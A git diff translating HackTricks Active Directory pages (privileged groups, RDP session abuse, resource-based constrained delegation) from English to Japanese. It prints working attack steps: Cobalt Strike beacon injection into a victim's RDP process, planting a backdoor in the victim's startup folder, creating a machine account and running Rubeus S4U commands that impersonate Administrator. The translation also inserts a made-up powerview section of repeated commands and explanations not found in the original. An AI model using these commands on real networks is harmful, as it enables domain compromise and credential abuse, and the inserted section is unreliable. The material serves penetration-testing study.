[abuse-seloaddriverprivilege.md](../windows-local-privilege-escalation/privilege-escalation-abusing-tokens/abuse-seloaddriverprivilege.md) {% endcontent-ref %} -## Remote Desktop Users - -Members of this group can access the PCs over RDP.\ -Get **members** of the group: +## リモートデスクトップユーザー +このグループのメンバーはRDP経由でPCにアクセスできます。\ +グループの**メンバー**を取得する: ```powershell Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse Get-NetLocalGroupMember -ComputerName -GroupName "Remote Desktop Users" ``` - -More info about **RDP**: +**RDP**に関する詳細情報: {% content-ref url="../../network-services-pentesting/pentesting-rdp.md" %} [pentesting-rdp.md](../../network-services-pentesting/pentesting-rdp.md) {% endcontent-ref %} -## Remote Management Users - -Members of this group can access PCs over **WinRM**. +## リモート管理ユーザー +このグループのメンバーは**WinRM**を介してPCにアクセスできます。 ```powershell Get-NetGroupMember -Identity "Remote Management Users" -Recurse Get-NetLocalGroupMember -ComputerName -GroupName "Remote Management Users" ``` - -More info about **WinRM**: +**WinRM**についての詳細情報: {% content-ref url="../../network-services-pentesting/5985-5986-pentesting-winrm.md" %} [5985-5986-pentesting-winrm.md](../../network-services-pentesting/5985-5986-pentesting-winrm.md) {% endcontent-ref %} -## Server Operators +## サーバーオペレーター -This membership allows users to configure Domain Controllers with the following privileges: +このメンバーシップにより、ユーザーは以下の特権を持つドメインコントローラを構成できます: -* Allow log on locally -* Back up files and directories -* \`\`[`SeBackupPrivilege`](../windows-local-privilege-escalation/privilege-escalation-abusing-tokens/#sebackupprivilege-3.1.4) and [`SeRestorePrivilege`](../windows-local-privilege-escalation/privilege-escalation-abusing-tokens/#serestoreprivilege-3.1.5) -* Change the system time -* Change the time zone -* Force shutdown from a remote system -* Restore files and directories -* Shut down the system -* control local services - -Get **members** of the group: +* ローカルでのログオンを許可する +* ファイルとディレクトリのバックアップ +* \`\`[`SeBackupPrivilege`](../windows-local-privilege-escalation/privilege-escalation-abusing-tokens/#sebackupprivilege-3.1.4) と [`SeRestorePrivilege`](../windows-local-privilege-escalation/privilege-escalation-abusing-tokens/#serestoreprivilege-3.1.5) +* システムの時刻の変更 +* タイムゾーンの変更 +* リモートシステムからの強制シャットダウン +* ファイルとディレクトリの復元 +* システムのシャットダウン +* ローカルサービスの制御 +グループの**メンバー**を取得する: ```powershell Get-NetGroupMember -Identity "Server Operators" -Recurse ``` - -## References +## 参考文献 {% embed url="https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges" %} @@ -450,10 +396,10 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。 diff --git a/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md b/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md index c9787b187..46cdad356 100644 --- a/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md +++ b/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md @@ -1,27 +1,26 @@ -# RDP Sessions Abuse +# RDPセッションの悪用
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## RDP Process Injection +## RDPプロセスのインジェクション -If the **external group** has **RDP access** to any **computer** in the current domain, an **attacker** could **compromise that computer and wait for him**. - -Once that user has accessed via RDP, the **attacker can pivot to that users session** and abuse its permissions in the external domain. +もし**外部グループ**が現在のドメイン内の**任意のコンピュータ**に**RDPアクセス**を持っている場合、**攻撃者はそのコンピュータを侵害し、待機することができます**。 +ユーザーがRDP経由でアクセスした後、**攻撃者はそのユーザーのセッションに移行し、外部ドメインでの権限を悪用**することができます。 ```powershell # Supposing the group "External Users" has RDP access in the current domain ## lets find where they could access @@ -37,23 +36,21 @@ EXT\super.admin # With cobalt strike you could just inject a beacon inside of the RDP process beacon> ps - PID PPID Name Arch Session User - --- ---- ---- ---- ------- ----- - ... - 4960 1012 rdpclip.exe x64 3 EXT\super.admin +PID PPID Name Arch Session User +--- ---- ---- ---- ------- ----- +... +4960 1012 rdpclip.exe x64 3 EXT\super.admin beacon> inject 4960 x64 tcp-local ## From that beacon you can just run powerview modules interacting with the external domain as that user ``` - -Check **other ways to steal sessions with other tools** [**in this page.**](../../network-services-pentesting/pentesting-rdp.md#session-stealing) +他のツールを使用してセッションを盗む**他の方法については、[このページ](../../network-services-pentesting/pentesting-rdp.md#session-stealing)を参照してください。 ## RDPInception -If a user access via **RDP into a machine** where an **attacker** is **waiting** for him, the attacker will be able to **inject a beacon in the RDP session of the user** and if the **victim mounted his drive** when accessing via RDP, the **attacker could access it**. - -In this case you could just **compromise** the **victims** **original computer** by writing a **backdoor** in the **statup folder**. +**攻撃者が待ち構えているマシン**にユーザーが**RDP経由でアクセス**する場合、攻撃者は**ユーザーのRDPセッションにビーコンを注入**することができ、**被害者がRDP経由でドライブをマウント**した場合、**攻撃者はそれにアクセス**することができます。 +この場合、**元のコンピュータ**に**バックドア**を**スタートアップフォルダ**に書き込むことで、**被害者のコンピュータを侵害**することができます。 ```powershell # Wait til someone logs in: net logons @@ -62,10 +59,10 @@ EXT\super.admin # With cobalt strike you could just inject a beacon inside of the RDP process beacon> ps - PID PPID Name Arch Session User - --- ---- ---- ---- ------- ----- - ... - 4960 1012 rdpclip.exe x64 3 EXT\super.admin +PID PPID Name Arch Session User +--- ---- ---- ---- ------- ----- +... +4960 1012 rdpclip.exe x64 3 EXT\super.admin beacon> inject 4960 x64 tcp-local @@ -73,31 +70,30 @@ beacon> inject 4960 x64 tcp-local ## \\tsclient\c is the C: drive on the origin machine of the RDP session beacon> ls \\tsclient\c - Size Type Last Modified Name - ---- ---- ------------- ---- - dir 02/10/2021 04:11:30 $Recycle.Bin - dir 02/10/2021 03:23:44 Boot - dir 02/20/2021 10:15:23 Config.Msi - dir 10/18/2016 01:59:39 Documents and Settings - [...] +Size Type Last Modified Name +---- ---- ------------- ---- +dir 02/10/2021 04:11:30 $Recycle.Bin +dir 02/10/2021 03:23:44 Boot +dir 02/20/2021 10:15:23 Config.Msi +dir 10/18/2016 01:59:39 Documents and Settings +[...] # Upload backdoor to startup folder beacon> cd \\tsclient\c\Users\\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup beacon> upload C:\Payloads\pivot.exe ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md b/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md index ede0700da..c8510f030 100644 --- a/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md +++ b/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md @@ -1,82 +1,108 @@ -# Resource-based Constrained Delegation +# リソースベースの制約付き委任
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Basics of Resource-based Constrained Delegation +## リソースベースの制約付き委任の基礎 -This is similar to the basic [Constrained Delegation](constrained-delegation.md) but **instead** of giving permissions to an **object** to **impersonate any user against a service**. Resource-based Constrain Delegation **sets** in **the object who is able to impersonate any user against it**. +これは、基本的な[制約付き委任](constrained-delegation.md)と似ていますが、**オブジェクトに対して任意のユーザーをなりすます権限を与える**代わりに、リソースベースの制約付き委任では、**オブジェクトに対して任意のユーザーをなりすますことができるユーザー**を設定します。 -In this case, the constrained object will have an attribute called _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ with the name of the user that can impersonate any other user against it. +この場合、制約付きオブジェクトには、_**msDS-AllowedToActOnBehalfOfOtherIdentity**_という属性があり、それに対して任意の他のユーザーをなりすますことができるユーザーの名前が記載されています。 -Another important difference from this Constrained Delegation to the other delegations is that any user with **write permissions over a machine account** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) can set the _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ (In the other forms of Delegation you needed domain admin privs). +この制約付き委任と他の委任とのもう一つの重要な違いは、**マシンアカウントに対して書き込み権限**(_GenericAll/GenericWrite/WriteDacl/WritePropertyなど)を持つ任意のユーザーが_**msDS-AllowedToActOnBehalfOfOtherIdentity**_を設定できることです(他の委任の形式では、ドメイン管理者特権が必要でした)。 -### New Concepts +### 新しい概念 -Back in Constrained Delegation it was told that the **`TrustedToAuthForDelegation`** flag inside the _userAccountControl_ value of the user is needed to perform a **S4U2Self.** But that's not completely truth.\ -The reality is that even without that value, you can perform a **S4U2Self** against any user if you are a **service** (have a SPN) but, if you **have `TrustedToAuthForDelegation`** the returned TGS will be **Forwardable** and if you **don't have** that flag the returned TGS **won't** be **Forwardable**. +制約付き委任では、ユーザーの_userAccountControl_値の中にある**`TrustedToAuthForDelegation`**フラグが**S4U2Self**を実行するために必要であると言われていました。しかし、それは完全な真実ではありません。 -However, if the **TGS** used in **S4U2Proxy** is **NOT Forwardable** trying to abuse a **basic Constrain Delegation** it **won't work**. But if you are trying to exploit a **Resource-Based constrain delegation, it will work** (this is not a vulnerability, it's a feature, apparently). +実際には、その値がなくても、**サービス**(SPNを持っている)であれば、**任意のユーザーに対してS4U2Self**を実行することができます。ただし、**`TrustedToAuthForDelegation`**を持っている場合、返されるTGSは**Forwardable**になりますが、そのフラグを持っていない場合、返されるTGSは**Forwardable**ではありません。 -### Attack structure +ただし、**TGS**が**Forwardable**でない場合、**基本的な制約付き委任**を悪用しようとしても**機能しません**。しかし、**リソースベースの制約付き委任を悪用**しようとする場合は機能します(これは脆弱性ではなく、機能のようです)。 -> If you have **write equivalent privileges** over a **Computer** account you can obtain **privileged access** in that machine. +### 攻撃の構造 -Suppose that the attacker has already **write equivalent privileges over the victim computer**. +> **コンピュータ**アカウントに**書き込みに相当する特権**がある場合、そのマシンで**特権アクセス**を取得できます。 -1. The attacker **compromises** an account that has a **SPN** or **creates one** (“Service A”). Note that **any** _Admin User_ without any other special privilege can **create** up until 10 **Computer objects (**_**MachineAccountQuota**_**)** and set them a **SPN**. So the attacker can just create a Computer object and set a SPN. -2. The attacker **abuses its WRITE privilege** over the victim computer (ServiceB) to configure **resource-based constrained delegation to allow ServiceA to impersonate any user** against that victim computer (ServiceB). -3. The attacker uses Rubeus to perform a **full S4U attack** (S4U2Self and S4U2Proxy) from Service A to Service B for a user **with privileged access to Service B**. - 1. S4U2Self (from the SPN compromised/created account): Ask for a **TGS of Administrator to me** (Not Forwardable). - 2. S4U2Proxy: Use the **not Forwardable TGS** of the step before to ask for a **TGS** from **Administrator** to the **victim host**. - 3. Even if you are using a not Forwardable TGS, as you are exploiting Resource-based constrained delegation, it will work. -4. The attacker can **pass-the-ticket** and **impersonate** the user to gain **access to the victim ServiceB**. +攻撃者が既に**被害者コンピュータ**に対して**書き込みに相当する特権**を持っていると仮定します。 -To check the _**MachineAccountQuota**_ of the domain you can use: +1. 攻撃者は、**SPN**を持つアカウントを**侵害**するか、**作成**します("Service A")。注意:**特別な特権を持たない**_管理者ユーザー_でも、最大で10個の**コンピュータオブジェクト(MachineAccountQuota)**を作成し、それらにSPNを設定することができます。したがって、攻撃者は単にコンピュータオブジェクトを作成し、SPNを設定することができます。 +2. 攻撃者は、被害者コンピュータ(ServiceB)に対する**書き込み特権**を悪用して、**リソースベースの制約付き委任を設定**し、ServiceAがその被害者コンピュータ(ServiceB)に対して**任意のユーザーをなりすます**ことを許可します。 +3. 攻撃者はRubeusを使用して、Service AからService Bへの**完全なS4U攻撃**(S4U2SelfおよびS4U2Proxy)を実行します。この攻撃は、Service Bに特権アクセスを持つユーザーに対して行われます。 +1. S4U2Self(侵害/作成されたアカウントのSPNから):**AdministratorのTGSを自分に要求**します(Forwardableではない)。 +2. S4U2Proxy:前のステップでの**ForwardableでないTGS**を使用して、**Administratorから被害者ホスト**への**TGS**を要求します。 +3. ForwardableでないTGSを使用している場合でも、リソースベースの制約付き委任を悪用しているため、機能します。 +4. 攻撃者は**チケットを渡す**ことができ、ユーザーを**なりすまして被害者のServiceBにアクセス**できます。 +ドメインの_**MachineAccountQuota**_を確認するには、次のコマンドを使用できます: ``` Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota ``` +## 攻撃 -## Attack - -### Creating a Computer Object - -You can create a computer object inside the domain using [powermad](https://github.com/Kevin-Robertson/Powermad)**:** +### コンピュータオブジェクトの作成 +ドメイン内でコンピュータオブジェクトを作成することができます。[powermad](https://github.com/Kevin-Robertson/Powermad)を使用します。 ```csharp import-module powermad New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` - ![](../../.gitbook/assets/b1.png) - ```bash Get-DomainComputer SERVICEA #Check if created if you have powerview ``` +### R**esource-based Constrained Delegationの設定** -### Configuring R**esource-based Constrained Delegation** - -**Using activedirectory PowerShell module** - +**activedirectory PowerShellモジュールを使用する** ```bash Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked ``` +**powerviewを使用する** -![](../../.gitbook/assets/B2.png) +```plaintext +Get-DomainUser -TrustedToAuth +``` -**Using powerview** +このコマンドは、信頼された認証を受けるユーザーの一覧を取得します。これにより、制約付き委任の潜在的な攻撃対象を特定することができます。 +```plaintext +Get-DomainComputer -TrustedToAuth +``` + +このコマンドは、信頼された認証を受けるコンピューターの一覧を取得します。これにより、制約付き委任の潜在的な攻撃対象を特定することができます。 + +```plaintext +Get-DomainGroup -TrustedToAuth +``` + +このコマンドは、信頼された認証を受けるグループの一覧を取得します。これにより、制約付き委任の潜在的な攻撃対象を特定することができます。 + +```plaintext +Get-DomainUser -TrustedToAuth | Get-DomainObjectAcl -ResolveGUIDs | ?{$_.ObjectType -match 'computer'} | select IdentityReference,ActiveDirectoryRights,InheritanceFlags,IsInherited,ObjectType | ft -AutoSize +``` + +このコマンドは、信頼された認証を受けるユーザーの一覧を取得し、関連するACL情報を表示します。これにより、制約付き委任の潜在的な攻撃対象を特定することができます。 + +```plaintext +Get-DomainComputer -TrustedToAuth | Get-DomainObjectAcl -ResolveGUIDs | ?{$_.ObjectType -match 'user'} | select IdentityReference,ActiveDirectoryRights,InheritanceFlags,IsInherited,ObjectType | ft -AutoSize +``` + +このコマンドは、信頼された認証を受けるコンピューターの一覧を取得し、関連するACL情報を表示します。これにより、制約付き委任の潜在的な攻撃対象を特定することができます。 + +```plaintext +Get-DomainGroup -TrustedToAuth | Get-DomainObjectAcl -ResolveGUIDs | ?{$_.ObjectType -match 'user'} | select IdentityReference,ActiveDirectoryRights,InheritanceFlags,IsInherited,ObjectType | ft -AutoSize +``` + +このコマンドは、信頼された認証を受けるグループの一覧を取得し、関連するACL情報を表示します。これにより、制約付き委任の潜在的な攻撃対象を特定することができます。 ```bash $ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)" @@ -91,60 +117,51 @@ msds-allowedtoactonbehalfofotheridentity ---------------------------------------- {1, 0, 4, 128...} ``` +### 完全なS4U攻撃の実行 -### Performing a complete S4U attack - -First of all, we created the new Computer object with the password `123456`, so we need the hash of that password: - +まず、パスワード`123456`を持つ新しいコンピュータオブジェクトを作成しましたので、そのパスワードのハッシュが必要です: ```bash .\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local ``` - -This will print the RC4 and AES hashes for that account.\ -Now, the attack can be performed: - +これにより、そのアカウントのRC4およびAESハッシュが表示されます。\ +さて、攻撃を実行できます: ```bash rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /aes128: /rc4: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt ``` - -You can generate more tickets just asking once using the `/altservice` param of Rubeus: - +Rubeusの`/altservice`パラメータを使用して、一度の要求で複数のチケットを生成することができます。 ```bash rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt ``` - {% hint style="danger" %} -Note that users has an attribute called "**Cannot be delegated**". If a user has this attribute to True, you won't be able to impersonate him . This property can be seen inside bloodhound. +ユーザーには「**委任できない**」という属性があります。ユーザーがこの属性をTrueに設定している場合、彼をなりすますことはできません。このプロパティはBloodhound内で確認できます。 {% endhint %} ![](../../.gitbook/assets/B3.png) -### Accessing - -The last command line will perform the **complete S4U attack and will inject the TGS** from Administrator to the victim host in **memory**.\ -In this example it was requested a TGS for the **CIFS** service from Administrator, so you will be able to access **C$**: +### アクセス +最後のコマンドラインは、**完全なS4U攻撃を実行し、TGSを管理者から被害者ホストに**インジェクトします。\ +この例では、管理者から**CIFS**サービスのTGSが要求されたため、**C$**にアクセスできます。 ```bash ls \\victim.domain.local\C$ ``` - ![](../../.gitbook/assets/b4.png) -### Abuse different service tickets +### 異なるサービスチケットの悪用 -Lear about the [**available service tickets here**](silver-ticket.md#available-services). +[**ここで利用可能なサービスチケットについて学ぶ**](silver-ticket.md#available-services)。 -## Kerberos Errors +## Kerberosエラー -* **`KDC_ERR_ETYPE_NOTSUPP`**: This means that kerberos is configured to not use DES or RC4 and you are supplying just the RC4 hash. Supply to Rubeus at least the AES256 hash (or just supply it the rc4, aes128 and aes256 hashes). Example: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())` -* **`KRB_AP_ERR_SKEW`**: This means that the time of the current computer is different from the one of the DC and kerberos is not working properly. -* **`preauth_failed`**: This means that the given username + hashes aren't working to login. You may have forgotten to put the "$" inside the username when generating the hashes (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`) -* **`KDC_ERR_BADOPTION`**: This may mean: - * The user you are trying to impersonate cannot access the desired service (because you cannot impersonate it or because it doesn't have enough privileges) - * The asked service doesn't exist (if you ask for a ticket for winrm but winrm isn't running) - * The fakecomputer created has lost it's privileges over the vulnerable server and you need to given them back. +* **`KDC_ERR_ETYPE_NOTSUPP`**: これは、KerberosがDESまたはRC4を使用しないように設定されており、あなたが単にRC4ハッシュを提供していることを意味します。少なくともAES256ハッシュをRubeusに提供してください(または単にrc4、aes128、aes256ハッシュを提供してください)。例:`[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())` +* **`KRB_AP_ERR_SKEW`**: これは、現在のコンピュータの時刻がDCの時刻と異なっており、Kerberosが正常に動作していないことを意味します。 +* **`preauth_failed`**: これは、指定したユーザ名+ハッシュがログインに使用されていないことを意味します。ハッシュを生成する際にユーザ名に"$"を入れ忘れた可能性があります(`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)。 +* **`KDC_ERR_BADOPTION`**: これは次のことを意味する場合があります: +* あなたがなりすますことを試みているユーザは、望ましいサービスにアクセスできない(なりすますことができないか、十分な特権を持っていないため) +* 要求されたサービスが存在しない(winrmのチケットを要求するが、winrmが実行されていない場合など) +* 作成されたfakecomputerが脆弱なサーバー上で特権を失い、それを戻す必要がある -## References +## 参考文献 * [https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html) * [https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/](https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/) @@ -155,10 +172,10 @@ Lear about the [**available service tickets here**](silver-ticket.md#available-s ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** 